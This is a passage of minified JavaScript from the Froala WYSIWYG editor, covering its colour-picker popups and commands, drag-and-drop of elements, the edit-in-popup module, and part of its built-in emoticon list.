t=m.$tb.find('.fr-command[data-cmd="'.concat(e,'"]')),n=m.popups.get("".concat(e,".picker"));if(n||(n=function i(e){var t="";m.opts.toolbarInline&&0<m.opts.colorsButtons.length&&(t+='<div class="fr-buttons fr-colors-buttons fr-tabs">\n '.concat(m.button.buildList(m.opts.colorsButtons),"\n </div>"));var n,r="";n="textColor"===e?(m.opts.colorsHEXInput&&(r=s.replace(/\[ID\]/g,"fr-color-hex-layer-text-".concat(m.id)).replace(/\[COMMAND\]/g,"customTextColor")),{buttons:t,text_colors:l("text"),custom_color:r}):(m.opts.colorsHEXInput&&(r=s.replace(/\[ID\]/g,"fr-color-hex-layer-background-".concat(m.id)).replace(/\[COMMAND\]/g,"customBackgroundColor")),{buttons:t,background_colors:l("background"),custom_color:r});var a=m.popups.create("".concat(e,".picker"),n);return function o(h,g){m.events.on("popup.tab",function(e){var t=v(e.currentTarget);if(!m.popups.isVisible(g)||!t.is("span"))return!0;var n=e.which,r=!0;if(kt.KEYCODE.TAB===n){var a=h.find(".fr-buttons");r=!m.accessibility.focusToolbar(a,!!e.shiftKey)}else if(kt.KEYCODE.ARROW_UP===n||kt.KEYCODE.ARROW_DOWN===n||kt.KEYCODE.ARROW_LEFT===n||kt.KEYCODE.ARROW_RIGHT===n){if(t.is("span.fr-select-color")){var o=t.parent().find("span.fr-select-color"),i=o.index(t),s=m.opts.colorsStep,l=Math.floor(o.length/s),c=i%s,d=Math.floor(i/s),f=d*s+c,p=l*s;kt.KEYCODE.ARROW_UP===n?f=((f-s)%p+p)%p:kt.KEYCODE.ARROW_DOWN===n?f=(f+s)%p:kt.KEYCODE.ARROW_LEFT===n?f=((f-1)%p+p)%p:kt.KEYCODE.ARROW_RIGHT===n&&(f=(f+1)%p);var u=v(o.get(f));m.events.disableBlur(),u.focus(),r=!1}}else kt.KEYCODE.ENTER===n&&(m.button.exec(t),r=!1);return!1===r&&(e.preventDefault(),e.stopPropagation()),r},!0)}(a,"".concat(e,".picker")),a}(e)),!n.hasClass("fr-active"))if(m.popups.setContainer("".concat(e,".picker"),m.$tb),c("textColor"===e?"text":"background"),t.isVisible()){var r=m.button.getPosition(t),a=r.left,o=r.top;m.popups.show("".concat(e,".picker"),a,o,t.outerHeight())}else m.position.forSelection(n),m.popups.show("".concat(e,".picker"))},background:r,customColor:function o(e){var t=m.popups.get("".concat(e,"Color.picker")).find(".fr-color-hex-layer input");if(t.length){var n=t.val();"background"===e?r(n):a(n)}},text:a,back:function e(){m.popups.hide("textColor.picker"),m.popups.hide("backgroundColor.picker"),m.toolbar.showInline()}}},kt.DefineIcon("textColor",{NAME:"tint",SVG_KEY:"textColor"}),kt.RegisterCommand("textColor",{title:"Text Color",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("textColor.picker")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("textColor.picker")):this.colors.showColorsPopup("textColor")}}),kt.RegisterCommand("applytextColor",{undo:!0,callback:function(e,t){this.colors.text(t)}}),kt.RegisterCommand("customTextColor",{title:"OK",undo:!0,callback:function(){this.colors.customColor("text")}}),kt.DefineIcon("backgroundColor",{NAME:"paint-brush",SVG_KEY:"backgroundColor"}),kt.RegisterCommand("backgroundColor",{title:"Background Color",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("backgroundColor.picker")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("backgroundColor.picker")):this.colors.showColorsPopup("backgroundColor")}}),kt.RegisterCommand("applybackgroundColor",{undo:!0,callback:function(e,t){this.colors.background(t)}}),kt.RegisterCommand("customBackgroundColor",{title:"OK",undo:!0,callback:function(){this.colors.customColor("background")}}),kt.DefineIcon("colorsBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("colorsBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.colors.back()}}),kt.DefineIcon("remove",{NAME:"eraser",SVG_KEY:"remove"}),Object.assign(kt.DEFAULTS,{dragInline:!0}),kt.PLUGINS.draggable=function(d){var f=d.$;function e(e){return!(!e.originalEvent||!e.originalEvent.target||e.originalEvent.target.nodeType!==Node.TEXT_NODE)||(e.target&&"A"===e.target.tagName&&1===e.target.childNodes.length&&"IMG"===e.target.childNodes[0].tagName&&(e.target=e.target.childNodes[0]),f(e.target).hasClass("fr-draggable")?(d.undo.canDo()||d.undo.saveStep(),d.opts.dragInline?d.$el.attr("contenteditable",!0):d.$el.attr("contenteditable",!1),d.opts.toolbarInline&&d.toolbar.hide(),f(e.target).addClass("fr-dragging"),d.browser.msie||d.browser.edge||d.selection.clear(),void e.originalEvent.dataTransfer.setData("text","Froala")):(e.preventDefault(),!1))}var p,u=function u(e){return!(e&&("HTML"===e.tagName||"BODY"===e.tagName||d.node.isElement(e)))};function h(e,t,n){if(d.opts.iframe){var r=d.helpers.getPX(d.$wp.find(".fr-iframe").css("padding-top")),a=d.helpers.getPX(d.$wp.find(".fr-iframe").css("padding-left"));e+=d.$iframe.offset().top+r,t+=d.$iframe.offset().left+a}p.offset().top!==e&&p.css("top",e),p.offset().left!==t&&p.css("left",t),p.width()!==n&&p.css("width",n)}function t(e){e.originalEvent.dataTransfer.dropEffect="move",d.opts.dragInline?(!function n(){for(var e=null,t=0;t<kt.INSTANCES.length;t++)if((e=kt.INSTANCES[t].$el.find(".fr-dragging")).length)return e.get(0)}()||d.browser.msie||d.browser.edge)&&e.preventDefault():(e.preventDefault(),function c(e){var t=d.doc.elementFromPoint(e.originalEvent.pageX-d.win.pageXOffset,e.originalEvent.pageY-d.win.pageYOffset);if(!u(t)){for(var n=0,r=t;!u(r)&&r===t&&0<e.originalEvent.pageY-d.win.pageYOffset-n;)n++,r=d.doc.elementFromPoint(e.originalEvent.pageX-d.win.pageXOffset,e.originalEvent.pageY-d.win.pageYOffset-n);(!u(r)||p&&0===d.$el.find(r).length&&r!==p.get(0))&&(r=null);for(var a=0,o=t;!u(o)&&o===t&&e.originalEvent.pageY-d.win.pageYOffset+a<f(d.doc).height();)a++,o=d.doc.elementFromPoint(e.originalEvent.pageX-d.win.pageXOffset,e.originalEvent.pageY-d.win.pageYOffset+a);(!u(o)||p&&0===d.$el.find(o).length&&o!==p.get(0))&&(o=null),t=null===o&&r?r:o&&null===r?o:o&&r?n<a?r:o:null}if(f(t).hasClass("fr-drag-helper"))return!1;if(t&&!d.node.isBlock(t)&&(t=d.node.blockParent(t)),t&&0<=["TD","TH","TR","THEAD","TBODY"].indexOf(t.tagName)&&(t=f(t).parents("table").get(0)),t&&0<=["LI"].indexOf(t.tagName)&&(t=f(t).parents("UL, OL").get(0)),t&&!f(t).hasClass("fr-drag-helper")){var i;p||(kt.$draggable_helper||(kt.$draggable_helper=f(document.createElement("div")).attr("class","fr-drag-helper")),p=kt.$draggable_helper,d.events.on("shared.destroy",function(){p.html("").removeData().remove(),p=null},!0)),i=e.originalEvent.pageY<f(t).offset().top+f(t).outerHeight()/2;var s=f(t),l=0;i||0!==s.next().length?(i||(s=s.next()),"before"===p.data("fr-position")&&s.is(p.data("fr-tag"))||(0<s.prev().length&&(l=parseFloat(s.prev().css("margin-bottom"))||0),l=Math.max(l,parseFloat(s.css("margin-top"))||0),h(s.offset().top-l/2-d.$box.offset().top,s.offset().left-d.win.pageXOffset-d.$box.offset().left,s.width()),p.data("fr-position","before"))):"after"===p.data("fr-position")&&s.is(p.data("fr-tag"))||(l=parseFloat(s.css("margin-bottom"))||0,h(s.offset().top+f(t).height()+l/2-d.$box.offset().top,s.offset().left-d.win.pageXOffset-d.$box.offset().left,s.width()),p.data("fr-position","after")),p.data("fr-tag",s),p.addClass("fr-visible"),d.$box.append(p)}else p&&0<d.$box.find(p).length&&p.removeClass("fr-visible")}(e))}function n(e){e.originalEvent.dataTransfer.dropEffect="move",d.opts.dragInline||e.preventDefault()}function r(e){d.$el.attr("contenteditable",!0);var t=d.$el.find(".fr-dragging");p&&p.hasClass("fr-visible")&&d.$box.find(p).length?a(e):t.length&&(e.preventDefault(),e.stopPropagation()),p&&d.$box.find(p).length&&p.removeClass("fr-visible"),t.removeClass("fr-dragging")}function a(e){var t,n;d.$el.attr("contenteditable",!0);for(var r=0;r<kt.INSTANCES.length;r++)if((t=kt.INSTANCES[r].$el.find(".fr-dragging")).length){n=kt.INSTANCES[r];break}if(t.length){if(e.preventDefault(),e.stopPropagation(),p&&p.hasClass("fr-visible")&&d.$box.find(p).length)p.data("fr-tag")[p.data("fr-position")]('<span class="fr-marker"></span>'),p.removeClass("fr-visible");else if(!1===d.markers.insertAtPoint(e.originalEvent))return!1;if(t.removeClass("fr-dragging"),!1===(t=d.events.chainTrigger("element.beforeDrop",t)))return!1;var a=t;if(t.parent().is("A")&&1===t.parent().get(0).childNodes.length&&(a=t.parent()),d.core.isEmpty())d.events.focus();else d.$el.find(".fr-marker").replaceWith(kt.MARKERS),d.selection.restore();if(n===d||d.undo.canDo()||d.undo.saveStep(),d.core.isEmpty())d.$el.html(a);else{var o=d.markers.insert();(d||"").selection&&a.contains(o)&&a.before(o),0===a.find(o).length?f(o).replaceWith(a):0===t.find(o).length&&f(o).replaceWith(t),t.after(kt.MARKERS),d.selection.restore()}return d.popups.hideAll(),d.selection.save(),d.$el.find(d.html.emptyBlockTagsQuery()).not("TD, TH, LI, .fr-inner").not(d.opts.htmlAllowedEmptyTags.join(",")).remove(),d.html.wrap(),d.html.fillEmptyBlocks(),d.selection.restore(),d.undo.saveStep(),d.opts.iframe&&d.size.syncIframe(),n!==d&&(n.popups.hideAll(),n.$el.find(n.html.emptyBlockTagsQuery()).not("TD, TH, LI, .fr-inner").remove(),n.html.wrap(),n.html.fillEmptyBlocks(),n.undo.saveStep(),n.events.trigger("element.dropped"),n.opts.iframe&&n.size.syncIframe()),d.events.trigger("element.dropped",[a]),!1}p&&p.removeClass("fr-visible"),d.undo.canDo()||d.undo.saveStep(),setTimeout(function(){d.undo.saveStep()},0)}function o(e){if(e&&"DIV"===e.tagName&&d.node.hasClass(e,"fr-drag-helper"))e.parentNode.removeChild(e);else if(e&&e.nodeType===Node.ELEMENT_NODE)for(var t=e.querySelectorAll("div.fr-drag-helper"),n=0;n<t.length;n++)t[n].parentNode.removeChild(t[n])}return{_init:function i(){d.opts.enter===kt.ENTER_BR&&(d.opts.dragInline=!0),d.events.on("dragstart",e,!0),d.events.on("dragover",t,!0),d.events.on("dragenter",n,!0),d.events.on("document.dragend",r,!0),d.events.on("document.drop",r,!0),d.events.on("drop",a,!0),d.events.on("html.processGet",o)}}},Object.assign(kt.DEFAULTS,{editInPopup:!1}),kt.MODULES.editInPopup=function(r){function e(){r.events.$on(r.$el,r._mouseup,function(){setTimeout(function(){!function n(){var e,t=r.popups.get("text.edit");e="INPUT"===r.el.tagName?r.$el.attr("placeholder"):r.$el.text(),t.find("input").val(e).trigger("change"),r.popups.setContainer("text.edit",r.$sc),r.popups.show("text.edit",r.$el.offset().left+r.$el.outerWidth()/2,r.$el.offset().top+r.$el.outerHeight(),r.$el.outerHeight())}()},10)})}return{_init:function n(){r.opts.editInPopup&&(!function t(){var e={edit:'<div id="fr-text-edit-'.concat(r.id,'" class="fr-layer fr-text-edit-layer"><div class="fr-input-line"><input type="text" placeholder="').concat(r.language.translate("Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="updateText" tabIndex="2">').concat(r.language.translate("Update"),"</button></div></div>")};r.popups.create("text.edit",e)}(),e())},update:function t(){var e=r.popups.get("text.edit").find("input").val();0===e.length&&(e=r.opts.placeholderText),"INPUT"===r.el.tagName?r.$el.attr("placeholder",e):r.$el.text(e),r.events.trigger("contentChanged"),r.popups.hide("text.edit")}}},kt.RegisterCommand("updateText",{focus:!1,undo:!1,callback:function(){this.editInPopup.update()}}),Object.assign(kt.POPUP_TEMPLATES,{emoticons:"[_BUTTONS_][_CUSTOM_LAYER_]"}),Object.assign(kt.DEFAULTS,{emoticonsSet:[{id:"people",name:"Smileys & People",code:"1f600",emoticons:[{code:"1f600",desc:"Grinning face"},{code:"1f601",desc:"Grinning Face with Smiling Eyes"},{code:"1f602",desc:"Face with Tears of Joy"},{code:"1f603",desc:"Smiling Face with Open Mouth"},{code:"1f604",desc:"Smiling Face with Open Mouth and Smiling Eyes"},{code:"1f605",desc:"Smiling Face with Open Mouth and Cold Sweat"},{code:"1f606",desc:"Smiling Face with Open Mouth and Tightly-Closed Eyes"},{code:"1f609",desc:"Winking Face"},{code:"1f60a",desc:"Smiling Face with Smiling Eyes"},{code:"1f608",desc:"Face Savouring Delicious Food"},{code:"1f60e",desc:"Smiling Face with Sunglasses"},{code:"1f60d",desc:"Smiling Face with Heart-Shaped Eyes"},{code:"1f618",desc:"Face Throwing a Kiss"},{code:"1f617",desc:"Kissing Face"},{code:"1f619",desc:"Kissing Face with Smiling Eyes"},{code:"1f61a",desc:"Kissing Face with Closed Eyes"},{code:"263a",desc:"White Smiling Face"},{code:"1f642",desc:"Slightly Smiling Face"},{code:"1f610",desc:"Neutral Face"},{code:"1f611",desc:"Expressionless Face"},{code:"1f636",desc:"Face Without Mouth"},{code:"1f60f",desc:"Smirking Face"},{code:"1f623",desc:"Persevering Face"},{code:"1f625",desc:"Disappointed but Relieved Face"},{code:"1f62e",desc:"Face with Open Mouth"},{code:"1f62f",desc:"Hushed Face"},{code:"1f62a",desc:"Sleepy Face"},{code:"1f62b",desc:"Tired Face"},{code:"1f634",desc:"Sleeping Face"},{code:"1f60c",desc:"Relieved Face"},{code:"1f61b",desc:"Face with Stuck-out Tongue"},{code:"1f61c",desc:"Face with Stuck-out Tongue and Winking Eye"},{code:"1f61d",desc:"Face with Stuck-out Tongue and Tightly-Closed Eyes"},{code:"1f612",desc:"Unamused Face"},{code:"1f613",desc:"Face with Cold Sweat"},{code:"1f613",desc:"Face with Cold Sweat"},{code:"1f614",desc:"Pensive Face"},{code:"1f615",desc:"Confused Face"},{code:"1f632",desc:"Astonished Face"},{code:"1f616",desc:"Confounded Face"},{code:"1f61e",desc:"Disappointed Face"},{code:"1f61f",desc:"Worried Face"},{code:"1f624",desc:"Face with Look of Triumph"},{code:"1f622",desc:"Crying Face"},{code:"1f62d",desc:"Loudly Crying Face"},{code:"1f626",desc:"Frowning Face with Open Mouth"},{code:"1f627",desc:"Anguished Face"},{code:"1f628",desc:"Fearful Face"},{code:"1f629",desc:"Weary Face"},{code:"1f62c",desc:"Grimacing Face"},{code:"1f630",desc:"Face with Open Mouth and Cold Sweat"},{code:"1f631",desc:"Face Screaming in Fear"},{code:"1f633",desc:"Flushed Face"},{code:"1f635",desc:"Dizzy Face"},{code:"1f621",desc:"Pouting Face"},{code:"1f620",desc:"Angry Face"},{code:"1f637",desc:"Face with Medical Mask"},{code:"1f607",desc:"Smiling Face with Halo"},{code:"1f608",desc:"Smiling Face with Horns"},{code:"1f47f",desc:"Imp"},{code:"1f479",desc:"Japanese Ogre"},{code:"1f47a",desc:"Japanese Goblin"},{code:"1f480",desc:"Skull"},{code:"1f47b",desc:"Ghost"},{code:"1f47d",desc:"Extraterrestrial Alien"},{code:"1f47e",desc:"Alien Monster"},{code:"1f4a9",desc:"Pile of Poo"},{code:"1f63a",desc:"Smiling Cat Face with Open Mouth"},{code:"1f638",desc:"Grinning Cat Face with Smiling Eyes"},{code:"1f639",desc:"Cat Face with Tears of Joy"},{code:"1f63b",desc:"Smiling Cat Face with Heart-Shaped Eyes"},{code:"1f63c",desc:"Cat Face with Wry Smile"},{code:"1f63d",desc:"Kissing Cat Face with Closed Eyes"},{code:"1f640",desc:"Weary Cat Face"},{code:"1f63f",desc:"Crying Cat Face"},{code:"1f63e",desc:"Pouting Cat Face"},{code:"1f648",desc:"See-No-Evil Monkey"},{code:"1f649",desc:"Hear-No-Evil Monkey"},{code:"1f64a",desc:"Speak-No-Evil Monkey"},{code:"1f476",desc:"Baby"},{code:"1f466",desc:"Boy"},{code:"1f467",desc:"Girl"},{code:"1f468",desc:"Man"},{code:"1f469",desc:"Woman"},{code:"1f474",desc:"Older Man"},{code:"1f475",desc:"Older Woman"},{code:"1f46e",desc:"Police Officer"},{code:"1f482",desc:" Guardsman"},{code:"1f477",desc:" Construction Worker"},{code:"1f478",desc:"Princess"},{code:"1f473",desc:"Man with Turban"},{code:"1f472",desc:"Man with Gua Pi Mao"},{code:"1f471",desc:"Person with Blond Hair"},{code:"1f470",desc:"Bride with Veil"},{code:"1f47c",desc:"Baby Angel"},{code:"1f385",desc:"Father Christmas"},{code:"1f64e",desc:"Person with Pouting Face"},{code:"1f645",desc:"Face with No Good Gesture"},{code:"1f646",desc:"Face with Ok Gesture"},{code:"1f481",desc:"Information Desk Person"},{code:"1f64b",desc:"Happy Person Raising One Hand"},{code:"1f647",desc:"Person Bowing Deeply"},{code:"1f486",desc:"Face Massage"},{code:"1f487",desc:"Haircut"},{code:"1f6b6",desc:"Pedestrian"},{code:"1f3c3",desc:"Runner"},{code:"1f483",desc:"Dancer"},{code:"1f46f",desc:"Woman with Bunny Ears"},{code:"1f6c0",desc:"Bath"},{code:"1f464",desc:"Bust in Silhouette"},{code:"1f465",desc:"Busts in Silhouette"},{code:"1f3c7",desc:"Horse Racing"},{code:"1f3c2",desc:" Snowboarder"},{code:"1f3c4",desc:" Surfer"},{code:"1f6a3",desc:" Rowboat"},{code:"1f3ca",desc:" Swimmer"},{code:"1f6b4",desc:" Bicyclist"},{code:"1f6b5",desc:"Mountain Bicyclist"},{code:"1f46b",desc:" Man and Woman Holding Hands"},{code:"1f46c",desc:"Two Men Holding Hands"},{code:"1f46d",desc:"Two Women Holding Hands"},{code:"1f48f",desc:"Kiss"},{code:"1f468-2764-1f48b-1f468",uCode:"\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68",desc:"Man Kiss Man"},{code:"1f469-2764-1f48b-1f469",uCode:"\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69",desc:"Woman Kiss Woman"},{code:"1f491",desc:"Couple with Heart"},{code:"1f468-2764-1f468",uCode:"\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68",desc:"Man Heart Man"},{code:"1f469-2764-1f469",uCode:"\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69",desc:"Woman Heart Woman"},{code:"1f46a",desc:"Family"},{code:"1f468",desc:"Man Woman Boy"},{code:"1f468-1f469-1f467",desc:"Man Woman Girl"},{code:"1f468-1f469-1f467-1f466",desc:"Man Woman Girl Boy"},{code:"1f468-1f469-1f466-1f466",desc:"Man Woman Boy Boy"},{code:"1f468-1f469-1f467-1f467",desc:"Man Woman Girl Girl"},{code:"1f468-1f468-1f466",desc:"Man Man Boy"},{code:"1f468-1f468-1f467",desc:"Man Man Girl"},{code:"1f468-1f468-1f467-1f466",desc:"Man Man Girl Boy"},{code:"1f468-1f468-1f466-1f466",desc:"Man Man Boy Boy"},{code:"1f469-1f469-1f466",desc:"Woman Woman Boy"},{code:"1f469-1f469-1f467",desc:"Woman Woman Girl"},{code:"1f469-1f469-1f467-1f466",desc:"Woman Woman Girl Boy"},{code:"1f469-1f469-1f467-1f467",desc:"Woman Woman Girl Girl"},{code:"1f4aa",desc:"Flexed Biceps"},{code:"1f448",desc:"White Left Pointing Backhand Index"},{code:"1f449",desc:"White Right Pointing Backhand Index"},{code:"1f446",desc:"White Up Pointing Backhand Index"},{code:"1f447",desc:"White Down Pointing Backhand Index"},{code:"270c",desc:"Victory Hand"},{code:"270b",desc:"Raised Hand"},{code:"1f44c",desc:"Ok Hand Sign"},{code:"1f44d",desc:"Thumbs Up Sign"},{code:"1f44e",desc:"Thumbs Down Sign"},{code:"270a",desc:"Raised Fist"},{code:"1f44a",desc:"Fisted Hand Sign"},{code:"1f44b",desc:"Waving Hand Sign"},{code:"1f44f",desc:"Clapping Hands Sign"},{code:"1f450",desc:"Open Hands Sign"},{code:"1f64c",desc:"Person Raising Both Hands in Celebration"},{code:"1f64f",desc:"Person with Folded Hands"},{code:"1f485",desc:"Nail Polish"},{code:"1f442",desc:"Ear"},{code:"1f443",desc:"Nose"},{code:"1f463",desc:"Footprints"},{code:"1f440",desc:"Eyes"},{code:"1f445",desc:"Tongue"},{code:"1f444",desc:"Mouth"},{code:"1f48b",desc:"Kiss Mark"},{code:"1f498",desc:"Heart with Arrow"},{code:"2764",desc:"Heavy Black Heart"},{code:"1f493",desc:"Heavy Black Heart"},{code:"1f494",desc:"Broken Heart"},{code:"1f495",desc:"Two Hearts"},{code:"1f496",desc:"Sparkling Hearts"},{code:"1f497",desc:"Growing Hearts"},{code:"1f499",desc:"Blue Heart"},{code:"1f49a",desc:"Green Heart"},{code:"1f49b",desc:"Yellow Heart"},{code:"1f49c",desc:"Purple Heart"},{code:"1f49d",desc:"Heart with Ribbon"},{code:"1f49e",desc:"Revolving Hearts"},{code:"1f49f",desc:"Heart Decoration"},{code:"1f48c",desc:"Love Letter"},{code:"1f4a4",desc:"Sleeping Symbol"},{code:"1f4a2",desc:"Anger Symbol"},{code:"1f4a3",desc:"Bomb"},{code:"1f4a5",desc:"Collision Symbol"},{code:"1f4a6",desc:"Splashing Sweat Symbol"},{code:"1f4a8",desc:"Dash Symbol"},{code:"1f4ab",desc:"Dizzy Symbol"},{code:"1f4ab",desc:"Dizzy Symbol"},{code:"1f4ac",desc:"Speech Balloon"},{code:"1f4ad",desc:"Thought Balloon"},{code:"1f453",desc:"Eyeglasses"},{code:"1f454",desc:"Necktie"},{code:"1f455",desc:"T-Shirt"},{code:"1f456",desc:"Jeans"},{code:"1f457",desc:"Dress"},{code:"1f458",desc:"Kimono"},{code:"1f459",desc:"Bikini"},{code:"1f45a",desc:"Womans Clothes"},{code:"1f45b",desc:"Purse"},{code:"1f45c",desc:"Handbag"},{code:"1f45d",desc:"Pouch"},{code:"1f392",desc:"School Satchel"},{code:"1f45e",desc:"Mans Shoe"},{code:"1f45f",desc:"Athletic Shoe"},{code:"1f460",desc:"High-Heeled Shoe"},{code:"1f461",desc:"Womans Sandal"},{code:"1f462",desc:"Womans Boots"},{code:"1f451",desc:"Crown"},{code:"1f452",desc:"Womans Hat"},{code:"1f462",desc:"Top Hat"},{code:"1f393",desc:"Graduation Cap"},{code:"1f484",desc:"Lipstick"},{code:"1f48d",desc:"Ring"},{code:"1f48e",desc:"Gem Stone"}]},{id:"nature",name:"Animals & Nature",code:"1F435",emoticons:[{code:"1F435",desc:"Monkey Face"},{code:"1F412",desc:"Monkey"},{code:"1F436",desc:"Dog Face"},{code:"1F415",desc:"Dog"},{code:"1F429",desc:"Poodle"},{code:"1F43A",desc:"Wolf Face"},{code:"1F431",desc:"Cat Face"},{code:"1F408",desc:"Cat"},{code:"1F42F",desc:"Tiger Face"},{code:"1F405",desc:"Tiger"},{code:"1F406",desc:"Leopard"},{code:"1F434",desc:"Horse Face"},{code:"1F40E",desc:"Horse"},{code:"1F42E",desc:"Cow Face"},{code:"1F402",desc:"Ox"},{code:"1F403",desc:"Water Buffalo"},{code:"1F404",desc:"Cow"},{code:"1F437",desc:"Pig Face"},{code:"1F416",desc:"Pig"},{code:"1F417",desc:"Boar"},{code:"1F43D",desc:"Pig Nose"},{code:"1F40F",desc:"Ram"},{code:"1F411",desc:"Sheep"},{code:"1F410",desc:"Goat"},{code:"1F42A",desc:"Dromedary Camel"},{code:"1F42B",desc:"Bactrian Camel"},{code:"1F418",desc:"Elephant"},{code:"1F42D",desc:"Mouse Face"},{code:"1F401",desc:"Mouse"},{code:"1F400",desc:"Rat"},{code:"1F439",desc:"Hamster Face"},{code:"1F430",desc:"Rabbit Face"},{code:"1F407",desc:"Rabbit"},{code:"1F43B",desc:"Bear Face"},{code:"1F428",desc:"Koala"},{code:"1F43C",desc:"Panda Face"},{code:"1F43E",desc:"Paw Prints"},{code:"1F414",desc:"Chicken"},{code:"1F413",desc:"Rooster"},{code:"1F423",desc:"Hatching Chick"},{code:"1F424",desc:"Baby Chick"},{code:"1F425",desc:"Front-Facing Baby Chick"},{code:"1F426",desc:"Bird"},{code:"1F427",desc:"Penguin"},{code:"1F438",desc:"Frog Face"},{code:"1F40A",desc:"Crocodile"},{code:"1F422",desc:"Turtle"},{code:"1F40D",desc:"Snake"},{code:"1F432",desc:"Dragon Face"},{code:"1F409",desc:"Dragon"},{code:"1F433",desc:"Spouting Whale"},{code:"1F40B",desc:"Whale"},{code:"1F42C",desc:"Dolphin"},{code:"1F41F",desc:"Fish"},{code:"1F420",desc:"Tropical Fish"},{code:"1F421",desc:"Blowfish"},{code:"1F419",desc:"Octopus"},{code:"1F41A",desc:"Spiral Shell"},{code:"1F40C",desc:"Snail"},{code:"1F41B",desc:"Bug"},{code:"1F41C",desc:"Ant"},{code:"1F41D",desc:"Honeybee"},{code:"1F41E",desc:"Lady Beetle"},{code:"1F490",desc:"Bouquet"},{code:"1F338",desc:"Cherry Blossom"},{code:"1F4AE",desc:"White Flower"},{code:"1F339",desc:"Rose"},{code:"1F33A",desc:"Hibiscus"},{code:"1F33B",desc:"Sunflower"},{code:"1F33C",desc:"Blossom"},{code:"1F337",desc:"Tulip"},{code:"1F331",desc:"Seedling"},{code:"1F332",desc:"Evergreen Tree"},{code:"1F333",desc:"Deciduous Tree"},{code:"1F334",desc:"Palm Tree"},{code:"1F335",desc:"Cactus"},{code:"1F33E",desc:"Ear of Rice"},{code:"1F33F",desc:"Herb"},{code:"2618",desc:"Four Leaf Clover"},{code:"1F341",desc:"Maple Leaf"},{code:"1F342",desc:"Fallen Leaf"},{code:"1F343",desc:"Leaf Fluttering in Wind"}]},{id:"foods",name:"Food & Drink",code:"1F347",emoticons:[{code:"1F347",desc:"Grapes"},{code:"1F348",desc:"Melon"},{code:"1F349",desc:"Watermelon"},{code:"1F34A",desc:"Tangerine"},{code:"1F34B",desc:"Lemon"},{code:"1F34C",desc:"Banana"},{code:"1F34D",desc:"Pineapple"},{code:"1F34E",desc:"Red Apple"},{code:"1F34F",desc:"Green Apple"},{code:"1F350",desc:"Pear"},{code:"1F351",desc:"Peach"},{code:"1F352",desc:"Cherries"},{code:"1F353",desc:"Strawberry"},{code:"1F345",desc:"Tomato"},{code:"1F346",desc:"Aubergine"},{code:"1F33D",desc:"Ear of Maize"},{code:"1F344",desc:"Mushroom"},{code:"1F330",desc:"Chestnut"},{code:"1F35E",desc:"Bread"},{code:"1F356",desc:"Meat on Bone"},{code:"1F357",desc:"Poultry Leg"},{code:"1F354",desc:"Hamburger"},{code:"1F35F",desc:"French Fries"},{code:"1F355",desc:"Slice of Pizza"},{code:"1F373",desc:"Cooking"},{code:"1F372",desc:"Pot of Food"},{code:"1F371",desc:"Bento Box"},{code:"1F358",desc:"Rice Cracker"},{code:"1F359",desc:"Rice Ball"},{code:"1F35A",desc:"Cooked Rice"},{code:"1F35B",desc:"Curry and Rice"},{code:"1F35C",desc:"Steaming Bowl"},{code:"1F35D",desc:"Spaghetti"},{code:"1F360",desc:"Roasted Sweet Potato"},{code:"1F362",desc:"Oden"},{code:"1F363",desc:"Sushi"},{code:"1F364",desc:"Fried Shrimp"},{code:"1F365",desc:"Fish Cake with Swirl Design"},{code:"1F361",desc:"Dango"},{code:"1F366",desc:"Soft Ice Cream"},{code:"1F367",desc:"Shaved Ice"},{code:"1F368",desc:"Ice Cream"},{code:"1F369",desc:"Doughnut"},{code:"1F36A",desc:"Cookie"},{code:"1F382",desc:"Birthday Cake"},{code:"1F370",desc:"Shortcake"},{code:"1F36B",desc:"Chocolate Bar"},{code:"1F36C",desc:"Candy"},{code:"1F36D",desc:"Lollipop"},{code:"1F36E",desc:"Custard"},{code:"1F36F",desc:"Honey Pot"},{code:"1F37C",desc:"Baby Bottle"},{code:"2615",desc:"Hot Beverage"},{code:"1F375",desc:"Teacup Without Handle"},{code:"1F376",desc:"Sake Bottle and Cup"},{code:"1F377",desc:"Wine Glass"},{code:"1F378",desc:"Cocktail Glass"},{code:"1F379",desc:"Tropical Drink"},{code:"1F37A",desc:"Beer Mug"},{code:"1F37B",desc:"Clinking Beer Mugs"},{code:"1F374",desc:"Fork and Knife"},{code:"1F52A",desc:"Hocho"}]},{id:"activity",name:"Activities",code:"1f383",emoticons:[{code:"1f383",desc:" Jack-O-Lantern"},{code:"1f384",desc:"Christmas Tree"},{code:"1f386",desc:" Fireworks"},{code:"1f387",desc:"Firework Sparkler"},{code:"2728",desc:" Sparkles"},{code:"1f388",desc:"Balloon"},{code:"1f389",desc:"Party Popper"},{code:"1f38a",desc:"Confetti Ball"},{code:"1f38b",desc:"Tanabata Tree"},{code:"1f38d",desc:"Pine Decoration"},{code:"1f38e",desc:"Japanese Dolls"},{code:"1f38f",desc:"Carp Streamer"},{code:"1f390",desc:"Wind Chime"},{code:"1f391",desc:"Moon Viewing Ceremony"},{code:"1f380",desc:"Ribbon"},{code:"1f381",desc:"Wrapped Present"},{code:"1f3ab",desc:"Ticket"},{code:"1f3c6",desc:"Trophy"},{code:"1f388",desc:"Balloon"},{code:"26bd",desc:"Soccer Ball"},{code:"26be",desc:"Baseball"},{code:"1f3c0",desc:"Basketball and Hoop"},{code:"1f3c8",desc:"American Football"},{code:"1f3c9",desc:"Rugby Football"},{code:"1f3be",desc:"Tennis Racquet and Ball"},{code:"1f3b1",desc:"Billiards"},{code:"1f3b3",desc:"Bowling"},{code:"1f3af",desc:"Direct Hit"},{code:"26f3",desc:"Flag in Hole"},{code:"1f3a3",desc:"Fishing Pole and Fish"},{code:"1f3bd",desc:"Running Shirt with Sash"},{code:"1f3bf",desc:"Ski and Ski Boot"},{code:"1f3ae",desc:"Video 